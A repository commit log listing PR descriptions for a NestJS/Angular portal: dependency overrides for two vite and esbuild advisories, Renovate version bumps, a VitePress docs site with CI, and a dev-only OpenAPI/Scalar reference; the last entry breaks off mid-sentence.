b08966ba1fcb78d848f8d3754b3bc500c95d2f55
108 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
779061660b |
chore(security): override vite + esbuild past vitepress's vulnerable transitives (#159)
## Summary Unblocks `pnpm ci:audit`. Two moderate vulnerabilities surfaced after the docs-site chantier (#154): | Advisory | Package | Vulnerable | Patched | Path | | --- | --- | --- | --- | --- | | [GHSA-67mh-4wv8-2f99](https://github.com/advisories/GHSA-67mh-4wv8-2f99) | esbuild | ≤ 0.24.2 | ≥ 0.25.0 | `. > vitepress > vite > esbuild` | | [GHSA-4w7w-66w2-5vf9](https://github.com/advisories/GHSA-4w7w-66w2-5vf9) | vite | ≤ 6.4.1 | ≥ 6.4.2 | `. > vitepress > vite` | Both come from VitePress 1.6.4's pinned dep tree (`vite@5.4.21 → esbuild@0.21.5`). The rest of the workspace was already on vite 8.0.13 + esbuild 0.27.3 — only the VitePress branch was stuck on the vulnerable line. ## What lands Two new entries in `package.json`'s existing `pnpm.overrides` block: ```json "esbuild@<0.25.0": ">=0.25.0", "vite@<6.4.2": ">=6.4.2", ``` Same version-selector pattern as the other overrides already in the file (axios, follow-redirects, ip-address, …). The override only kicks in when the resolved version is in the vulnerable range, so it becomes a no-op the day the underlying dep ships a clean version of its own. After `pnpm install`, the resolver picks **vite 7.3.2** + **esbuild 0.27.3** for the VitePress branch (the workspace's other vite consumers stay on 8.0.13, deduped on esbuild). ## Why couldn't we pin a patched vite 5.x? The vite team did **not** backport the security fix to the 5.x line. `vite@5.4.22` is not published — the latest 5.x stays at 5.4.21, which is vulnerable. The only path forward is to let pnpm pick a patched 6.x or 7.x major. Verified that VitePress 1.6.4 still: - builds cleanly (`pnpm docs:build` succeeds in ~4 s, down from 9 s on the older vite); - renders Mermaid (regression fence in `.gitea/workflows/docs-site.yml` still grep-matches `class="mermaid"` / `<svg>` in ADR-0009's HTML); - runs the dev server (`pnpm docs:dev` boots, the dayjs CJS-interop fix from #156 still applies for the same reason — Mermaid's CJS deps need pre-bundling regardless of vite major). ## Why didn't Renovate propose this PR itself? The user reported that Renovate wasn't creating PRs for these advisories, not even listing them on the Dependency Dashboard. **Root cause: both vite and esbuild are transitive dependencies** — declared by vitepress, not by us. Renovate's `vulnerabilityAlerts` flow handles **direct** package.json deps. For pnpm transitives, the remediation would have to land in `pnpm.overrides`, which the renovatebot/renovate:40 image doesn't write automatically. Adjacent points: - The Renovate workflow runs on a daily 03:00 UTC cron only (plus manual dispatch). If the user wants an immediate dashboard refresh now, the workflow accepts `workflow_dispatch` — fire it once from the Gitea Actions UI. - After this PR merges, Renovate's dashboard should also stop flagging these advisories (the overrides count as remediation). - Renovate config itself is unchanged — no `ignorePaths`, no exclude of vite/esbuild/vitepress. The silence was purely about the transitive-remediation gap, not a config bug. ## Test plan - [x] `pnpm install` — clean, no peer warnings beyond the pre-existing `nestjs-prisma → chokidar` one. - [x] `pnpm audit --audit-level=moderate` — **"No known vulnerabilities found"**. - [x] `pnpm docs:build` — clean build in ~4 s. - [x] Mermaid regression fence — `grep 'class="mermaid"' docs/.vitepress/dist/decisions/0009-…html` matches. - [ ] `pnpm ci:audit` on CI — should now pass (the goal of this PR). - [ ] Manual smoke: `pnpm docs:dev`, navigate to `/decisions/0009-…`, confirm the OIDC sequence diagram renders. Dark-mode toggle still flips theme. ## Follow-ups (optional) - Trigger the Renovate workflow manually (Gitea Actions → Renovate → Run workflow) so the Dependency Dashboard refreshes against this overridden state. - If we hit this transitive-remediation gap again, consider raising a `renovateConfig.transitiveRemediation` story or switching the workflow to `renovate/renovate:latest` — newer point releases sometimes ship better pnpm-overrides authoring. Not urgent. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #159 |
||
|
|
ed477aeb26 |
fix(deps): update dependency @scalar/nestjs-api-reference to v1.1.16 (#156)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@scalar/nestjs-api-reference](https://github.com/scalar/scalar) ([source](https://github.com/scalar/scalar/tree/HEAD/integrations/nestjs)) | dependencies | patch | [`1.1.14` -> `1.1.16`](https://renovatebot.com/diffs/npm/@scalar%2fnestjs-api-reference/1.1.14/1.1.16) | --- ### Release Notes <details> <summary>scalar/scalar (@​scalar/nestjs-api-reference)</summary> ### [`v1.1.16`](https://github.com/scalar/scalar/blob/HEAD/integrations/nestjs/CHANGELOG.md#1116) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #156 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
abdfb8e1f4 |
fix(deps): update angular (#155)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.10/21.2.11) | | [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.10/21.2.11) | | [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.10/21.2.11) | | [@angular/cdk](https://github.com/angular/components) | dependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular%2fcdk/21.2.10/21.2.11) | | [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.10/21.2.11) | | [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.12/21.2.13) | | [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.12/21.2.13) | | [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.12/21.2.13) | | [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.12/21.2.13) | | [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.12/21.2.13) | | [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.12/21.2.13) | | [@angular/localize](https://github.com/angular/angular) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2flocalize/21.2.12/21.2.13) | | [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.12/21.2.13) | | [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.12/21.2.13) | | [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.10/21.2.11) | | [angular-eslint](https://github.com/angular-eslint/angular-eslint) ([source](https://github.com/angular-eslint/angular-eslint/tree/HEAD/packages/angular-eslint)) | devDependencies | minor | [`21.3.1` -> `21.4.0`](https://renovatebot.com/diffs/npm/angular-eslint/21.3.1/21.4.0) | --- ### Release Notes <details> <summary>angular/angular-cli (@​angular-devkit/core)</summary> ### [`v21.2.11`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21211-2026-05-13) [Compare Source](https://github.com/angular/angular-cli/compare/v21.2.10...v21.2.11) ##### [@​angular/cli](https://github.com/angular/cli) | Commit | Type | Description | | --------------------------------------------------------------------------------------------------- | ---- | -------------------------------------- | | [bbd63b7a5](https://github.com/angular/angular-cli/commit/bbd63b7a5a1049bc56b9ddf6edf6563a1f2d9ace) | fix | robustly parse npm manifest from array | ##### [@​angular/ssr](https://github.com/angular/ssr) | Commit | Type | Description | | --------------------------------------------------------------------------------------------------- | ---- | ------------------------------------------------------------------------------- | | [eafe1a719](https://github.com/angular/angular-cli/commit/eafe1a719fd3fecd5263e0a8371200b4b1ff4bb9) | fix | allow all hosts in common engine rendering options to prevent validation errors | | [7a116a80d](https://github.com/angular/angular-cli/commit/7a116a80d7e6db341fd003737285d1a9db10ba6c) | fix | remove stateful flag from URL\_PARAMETER\_REGEXP | <!-- CHANGELOG SPLIT MARKER --> </details> <details> <summary>angular/components (@​angular/cdk)</summary> ### [`v21.2.11`](https://github.com/angular/components/blob/HEAD/CHANGELOG.md#21211-crystal-ball-2026-05-13) [Compare Source](https://github.com/angular/components/compare/v21.2.10...v21.2.11) No user facing changes in this release <!-- CHANGELOG SPLIT MARKER --> </details> <details> <summary>angular/angular (@​angular/common)</summary> ### [`v21.2.13`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21213-2026-05-13) [Compare Source](https://github.com/angular/angular/compare/v21.2.12...v21.2.13) ##### core | Commit | Type | Description | | -- | -- | -- | | [1c6553e97d](https://github.com/angular/angular/commit/1c6553e97d9655d8c48fbf625987fae86f9cd947) | fix | disallow event attribute bindings in host bindings unconditionally | ##### platform-server | Commit | Type | Description | | -- | -- | -- | | [629905d537](https://github.com/angular/angular/commit/629905d537f59dc3c264c49f6347e3599dea0215) | fix | add `allowedHosts` option to `renderModule` and `renderApplication` | | [0b7192f441](https://github.com/angular/angular/commit/0b7192f4410d055191ac9b15bff57d1d0b9a644f) | fix | forward BEFORE\_APP\_SERIALIZED errors to ErrorHandler | <!-- CHANGELOG SPLIT MARKER --> </details> <details> <summary>angular-eslint/angular-eslint (angular-eslint)</summary> ### [`v21.4.0`](https://github.com/angular-eslint/angular-eslint/blob/HEAD/packages/angular-eslint/CHANGELOG.md#2140-2026-05-13) [Compare Source](https://github.com/angular-eslint/angular-eslint/compare/v21.3.1...v21.4.0) This was a version bump only for angular-eslint to align it with other projects, there were no code changes. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #155 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
7579b25dfe |
feat(docs): vitepress site for docs/, mermaid rendering, ci build workflow (#154)
## Summary
Implementation of [ADR-0022](docs/decisions/0022-docs-site-vitepress.md). Stands up the static documentation site that renders `docs/**/*.md` (architecture diagrams, daily-dev guide, ADRs, onboarding) via **VitePress + `vitepress-plugin-mermaid`**, behind a Gitea Actions build gate.
Local dev: `pnpm docs:dev`. Full build: `pnpm docs:build` (~9 s, output in `docs/.vitepress/dist/`).
## What lands
### Dependencies
`vitepress 1.6.4`, `vitepress-plugin-mermaid 2.0.17`, `mermaid 11.15.0` — workspace devDependencies. No runtime impact on `portal-shell` / `portal-admin` / `portal-bff`.
### [`docs/.vitepress/config.mts`](docs/.vitepress/config.mts)
The single source of truth for the site. Highlights:
- **`srcExclude`** drops `docs/README.md` (git/IDE-only index per ADR-0022's option A) and `docs/decisions/template.md` (authoring scaffold).
- **`rewrites`** maps `decisions/README.md` → `decisions/index.md` so `/decisions/` resolves to the curated tag-grouped landing while the source filename stays git-conventional.
- **`ignoreDeadLinks`** skips:
- `localhost:*` URLs (Jaeger, OTLP — only resolve in a live dev session),
- cross-repo references (`../CLAUDE`, `../../apps/**`, `../../infra/**`, `../../notes/**`) — intentional from git/IDE consumers; not the site's job to render them,
- excluded targets (`./template`, `./README`) — file exists in the repo, just not in the site.
- **Auto-sidebar for `/decisions/`** — `adrSidebarItems()` walks `docs/decisions/00*-*.md` and emits sorted `ADR-NNNN — title` entries. Adding an ADR is a single-file change, no `config.mts` edit.
- **Hand-curated top-level nav** (Development, Architecture, Decisions, Onboarding).
- **Mermaid via `withMermaid()`** with `securityLevel: 'strict'` so diagrams can't inject arbitrary HTML.
### [`docs/index.md`](docs/index.md)
VitePress Hero landing with four feature cards (Architecture, Decisions, Development, Onboarding).
### [`docs/development.md`](docs/development.md) — two surgical fixes
- Line ~5: `[setup/](setup/)` → `[setup/01-wsl-terminal-setup.md](setup/01-wsl-terminal-setup.md)`. Folder-style links don't resolve cleanly under `cleanUrls: true`; pointing at the first onboarding page is both correct and useful.
- Line 330: wrap `${{ github.* }}` in `<code v-pre>…</code>`. VitePress runs every Markdown file through the Vue template compiler, which sees the inline `{{ … }}` as an interpolation. `v-pre` keeps the literal text intact. The rest of the source is unaffected.
### [`package.json`](package.json)
Three new scripts:
```
docs:dev → vitepress dev docs
docs:build → vitepress build docs
docs:preview → vitepress preview docs
```
Pure pnpm scripts, no Nx project — the site has no cross-project dependency graph to track.
### [`.gitea/workflows/docs-site.yml`](.gitea/workflows/docs-site.yml)
Triggers on push to `main` and on PR, scoped by `paths:` to `docs/**`, `package.json`, `pnpm-lock.yaml`, and the workflow itself. Three steps:
1. `pnpm install --frozen-lockfile`
2. `pnpm docs:build`
3. Regression fence: `grep` ADR-0009's rendered HTML for `class="mermaid"` or `<svg>` so a silent Mermaid-plugin breakage on a major upgrade fails the workflow rather than ship a site with raw code blocks where diagrams should be.
4. On push only: upload `docs/.vitepress/dist/` as a `docs-site` artifact (30-day retention). The actual rsync to the static host lands when the future infrastructure ADR locks the deployment target.
### [`.gitignore`](.gitignore)
Excludes `docs/.vitepress/{cache,dist}/` so local builds don't leak into commits.
## Notes for the reviewer
- **Why `config.mts` and not `config.ts`?** VitePress is ESM-only, and `vitepress-plugin-mermaid` follows. Vite loads `.ts` config files via its CJS bundler in this workspace's setup and chokes on the ESM imports. `.mts` flips the loader to ESM and the build succeeds. Same pattern is used elsewhere in the workspace (`jest.config.cts`, app `vite.config.mts`).
- **Why no Nx project (`docs/project.json`)?** The doc site has no Nx-trackable dependencies (it consumes `.md` files, not TypeScript projects). Putting it in the Nx graph adds ceremony with no caching benefit — VitePress's incremental rebuilds are sub-second already, and the site never has cross-project `affected` semantics. Pure pnpm scripts keep the surface small.
- **Why the regression fence on Mermaid?** ADR-0022 §"Confirmation" promises it. The plugin is a community dep (sub-1.0 wrapper around the official Mermaid renderer); a major upgrade or a Mermaid runtime change could leave fenced ` ```mermaid ` blocks rendered as raw code without anyone noticing — until an RSSI clicks ADR-0009 and sees no diagram. Cheap grep gate, real signal.
- **Why upload as artifact, not deploy?** Per [ADR-0022](docs/decisions/0022-docs-site-vitepress.md) §"Deployment & CI": the host (`docs.portal.apf.fr` or a sub-path) is provisional. Locking an rsync target now would couple this PR to a not-yet-made infra decision. Artifact upload is the staging mechanism — manual drop on the host until the infrastructure ADR formalises the target.
- **Why `ignoreDeadLinks` rather than fixing every cross-repo reference?** The cross-repo links are genuinely useful from a git/IDE perspective (where the docs/ markdown is browsed alongside the rest of the codebase). Rewriting them to `https://git.unespace.com/julien/apf_portal/src/branch/main/…` would make them work on the site but lose the IDE quick-jump. Skipping at site-build time is the right trade-off — the site reader gets a graceful "link doesn't exist here" if they click, the IDE reader gets a working jump.
## Test plan
- [x] `pnpm docs:build` succeeds in ~9 s. Output at `docs/.vitepress/dist/` contains an `index.html`, every ADR, the development guide, the architecture diagrams, and the three setup pages.
- [x] Mermaid renders: `grep 'class="mermaid"' docs/.vitepress/dist/decisions/0009-…html` returns a match.
- [x] `pnpm exec nx run-many -t format:check lint test build` for the 6 main projects — 18/18 tasks green, no Nx regression from the new top-level config.
- [ ] **Manual smoke**: `pnpm docs:dev`, open `http://localhost:5173`, walk through:
- Landing renders Hero + 4 feature cards.
- Search box returns hits for "audit", "MFA", "OBO".
- `/decisions/0009-…` renders the OIDC sequence diagram (Mermaid SVG, not raw text).
- `/decisions/0010-…` ERD or `/architecture` C4 diagrams likewise.
- Dark-mode toggle flips diagrams to dark theme without page reload.
- Sidebar shows the 22 ADRs auto-listed under `/decisions/`.
- The "Decisions" curated index at `/decisions/` lists ADRs by tag (no regression on the source markdown).
## What's next
Once the deployment target is fixed (future infra ADR), wire the rsync step into the workflow — that lands as a small follow-up PR. Until then the artifact carries the bundle.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #154
|
||
|
|
636a1661f5 |
chore(deps): update typescript tooling to v8.59.3 (#146)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@typescript-eslint/utils](https://typescript-eslint.io/packages/utils) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/utils)) | devDependencies | patch | [`8.59.2` -> `8.59.3`](https://renovatebot.com/diffs/npm/@typescript-eslint%2futils/8.59.2/8.59.3) | | [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | patch | [`8.59.2` -> `8.59.3`](https://renovatebot.com/diffs/npm/typescript-eslint/8.59.2/8.59.3) | --- ### Release Notes <details> <summary>typescript-eslint/typescript-eslint (@​typescript-eslint/utils)</summary> ### [`v8.59.3`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/utils/CHANGELOG.md#8593-2026-05-11) [Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.2...v8.59.3) This was a version bump only for utils to align it with other projects, there were no code changes. See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.3) for more information. You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website. </details> <details> <summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary> ### [`v8.59.3`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8593-2026-05-11) [Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.2...v8.59.3) This was a version bump only for typescript-eslint to align it with other projects, there were no code changes. See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.59.3) for more information. You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #146 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
0335d992d9 |
chore(deps): update dependency vite to v8.0.13 (#144)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.12` -> `8.0.13`](https://renovatebot.com/diffs/npm/vite/8.0.12/8.0.13) | --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.0.13`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8013-2026-05-14-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.0.12...v8.0.13) ##### Features - **bundled-dev:** add lazy bundling support ([#​21406](https://github.com/vitejs/vite/issues/21406)) ([4f0949f](https://github.com/vitejs/vite/commit/4f0949f3f13e4b2b34d32bf7b2b4de5f26bea192)) - **optimizer:** improve the esbuild plugin converter to pass some properties of build result to `onEnd` ([#​22357](https://github.com/vitejs/vite/issues/22357)) ([47071ce](https://github.com/vitejs/vite/commit/47071ce53f21726cf39e999c4407c4828ecbe957)) - update rolldown to 1.0.1 ([#​22444](https://github.com/vitejs/vite/issues/22444)) ([8c766a6](https://github.com/vitejs/vite/commit/8c766a6c5ee014969c4e32f29cc265e8e2c96e18)) ##### Bug Fixes - **build:** copy public directory after building same environment with `write=false` ([#​22328](https://github.com/vitejs/vite/issues/22328)) ([158e8ae](https://github.com/vitejs/vite/commit/158e8ae8efdf7075ab295727e36b5ff68da3243e)) - **css:** await sass/less/styl worker disposal on teardown (fix [#​22274](https://github.com/vitejs/vite/issues/22274)) ([#​22275](https://github.com/vitejs/vite/issues/22275)) ([b7edcb7](https://github.com/vitejs/vite/commit/b7edcb7d0dd17ddfeef4ace78d610c099216dade)) - **css:** keep deprecated `name`/`originalFileName` in synthetic `assetFileNames` call ([#​22439](https://github.com/vitejs/vite/issues/22439)) ([8e59c97](https://github.com/vitejs/vite/commit/8e59c97a44d923c4c06f67287a793c9aa5a4ebaa)) - make `isBundled` per environment ([#​22257](https://github.com/vitejs/vite/issues/22257)) ([a576326](https://github.com/vitejs/vite/commit/a5763266170f8606836da5c6f987b4b2fd6ddc55)) - **ssr:** avoid rewriting labels that collide with imports ([#​22451](https://github.com/vitejs/vite/issues/22451)) ([d9b18e0](https://github.com/vitejs/vite/commit/d9b18e0387a253628d3d834288e79c5f7e85d566)) ##### Miscellaneous Chores - remove irrelevant commits from changelog ([#​22430](https://github.com/vitejs/vite/issues/22430)) ([6ea3838](https://github.com/vitejs/vite/commit/6ea383859aaf0ef8e673b458f164e84aeb6ff51d)) - update changelog ([#​22413](https://github.com/vitejs/vite/issues/22413)) ([fcdc87c](https://github.com/vitejs/vite/commit/fcdc87cc6799857e2bab0f44f333a681694fff74)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/144 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
1513ad327c |
feat(portal-bff): openapi spec + scalar api reference UI (dev-only) (#143)
## Summary Adds an OpenAPI 3 spec + a [Scalar API Reference](https://scalar.com/) UI to `portal-bff`, dev-only. The BFF previously had no way to *see* its HTTP surface short of grepping for `@Get` / `@Post`; this PR generates the spec from the existing Nest controllers via [`@nestjs/swagger`](https://docs.nestjs.com/openapi/introduction) and renders it through Scalar — a modern alternative to the classic Swagger UI (single-page, fast, dark-mode native, better typography). ## What lands ### Two new dev-only routes | Route | What it serves | | --- | --- | | `GET /api/openapi.json` | Raw OpenAPI 3 document. External tools (Bruno / Insomnia / Postman) import from here. | | `GET /api/docs` | Scalar API Reference HTML page. Loads the JSON spec at render time and renders the full endpoint catalogue with a "Try it" panel. | Both routes are gated behind `process.env.NODE_ENV !== 'production'` in [`setupOpenApi`](apps/portal-bff/src/openapi/openapi.ts) — production deployments don't need the docs surface, and publishing it would hand an attacker a curated map of every authenticated endpoint + every DTO shape. If a future ops use-case wants the spec in prod (internal gateway, contract testing), the gate is one line away from an opt-in `OPENAPI_PUBLISH=true` env knob. ### Core implementation — [`apps/portal-bff/src/openapi/openapi.ts`](apps/portal-bff/src/openapi/openapi.ts) Two exported helpers: - **`buildOpenApiDocument(app)`** — wraps Nest's `DocumentBuilder` + `SwaggerModule.createDocument`. Sets title, description (mentions the CSRF caveat — see below), version, and registers **two** cookie security schemes: - `portal_session` for the user-portal surface ([ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md)). - `portal_admin_session` for the admin-portal surface ([ADR-0020](docs/decisions/0020-portal-admin-app.md)). No `@ApiBearerAuth` is declared — the BFF never exposes a bearer-auth surface (SPA never holds tokens per ADR-0009; downstream OBO tokens are server-side only per ADR-0014). - **`setupOpenApi(app, globalPrefix)`** — short-circuits in production, otherwise binds the two routes via the Express adapter directly (`app.getHttpAdapter().get(...)` and `app.use(...)`). The OpenAPI JSON is a static asset and Scalar is a vanilla Express middleware — wrapping either in a Nest controller would add zero value and an extra layer of indirection. Wired into bootstrap at [`apps/portal-bff/src/main.ts:220`](apps/portal-bff/src/main.ts#L220), immediately after the JWKS endpoint mount and before `app.listen()`. ### Controllers decorated with `@ApiTags` / `@ApiOperation` / `@ApiCookieAuth` Annotations are cosmetic but make the spec actually browsable. Tag taxonomy: | Controller | Tag | Security | | --- | --- | --- | | [`AppController`](apps/portal-bff/src/app/app.controller.ts) | `app (scaffolding)` | — | | [`HealthController`](apps/portal-bff/src/health/health.controller.ts) | `health` | — | | [`AuthController`](apps/portal-bff/src/auth/auth.controller.ts) | `auth (user portal)` | `portal_session` on `/me` + `/logout` | | [`AdminAuthController`](apps/portal-bff/src/admin/admin-auth.controller.ts) | `auth (admin portal)` | `portal_admin_session` on `/me` + `/logout` | | [`AdminController`](apps/portal-bff/src/admin/admin.controller.ts) | `admin (self-test)` | class-level `portal_admin_session` | | [`AdminAuditController`](apps/portal-bff/src/admin/admin-audit.controller.ts) | `admin (audit log)` | class-level `portal_admin_session` | | [`AdminUsersController`](apps/portal-bff/src/admin/admin-users.controller.ts) | `admin (user directory)` | class-level `portal_admin_session` | `@ApiOperation({ summary: … })` added on every route — populates the one-line description Scalar shows in its left-rail TOC. ### Deps + Jest - `@nestjs/swagger ^11` (matches the Nest 11 major already pinned) and `@scalar/nestjs-api-reference` added to the workspace root. - [`jest.config.cts`](apps/portal-bff/jest.config.cts) — widened `transformIgnorePatterns` from `/node_modules/(?!.*jose)/` to `/node_modules/(?!.*(jose|@scalar/))/`. `@scalar/client-side-rendering` (a transitive dep) ships ESM-only; without this widening the spec suite fails to load the module under ts-jest. ## Notes for the reviewer - **Why two cookie schemes rather than one?** Scalar renders a per-endpoint lock icon driven by the security scheme name. Splitting `portal_session` / `portal_admin_session` keeps the indicator semantically truthful — `/api/auth/me` and `/api/admin/auth/me` look identical otherwise. - **CSRF caveat.** Mutating routes (`POST` / `PUT` / `PATCH` / `DELETE`) require `X-CSRF-Token` per [ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md). The header must be set manually in Scalar's "Try it" panel to the value of the `portal_csrf` cookie when exercising those routes. The spec description mentions it; auto-injecting the header from the cookie is a future polish. - **No ADR for this.** `@nestjs/swagger` is the framework's own first-party tooling; Scalar is a thin UI on top of a standard OpenAPI 3 document. Both replaceable without touching the controllers (the `@Api*` annotations are spec-standard). Dev-only, no prod surface — doesn't cross any of the bars that warrant an ADR per [CLAUDE.md](CLAUDE.md). - **Express-layer routing.** Same pattern as the JWKS endpoint (#139): the OpenAPI JSON is a static asset and Scalar a vanilla Express handler, so wiring through Nest's router adds no value. ## Test plan - [x] **5 new specs** in [`apps/portal-bff/src/openapi/openapi.spec.ts`](apps/portal-bff/src/openapi/openapi.spec.ts) — document shape (openapi version, title, version), both cookie schemes declared, smoke controller route captured in `paths`, production short-circuit 